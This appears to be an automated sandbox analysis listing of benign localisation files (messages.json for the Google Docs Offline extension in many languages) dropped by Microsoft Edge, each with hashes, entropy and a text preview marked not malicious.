C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
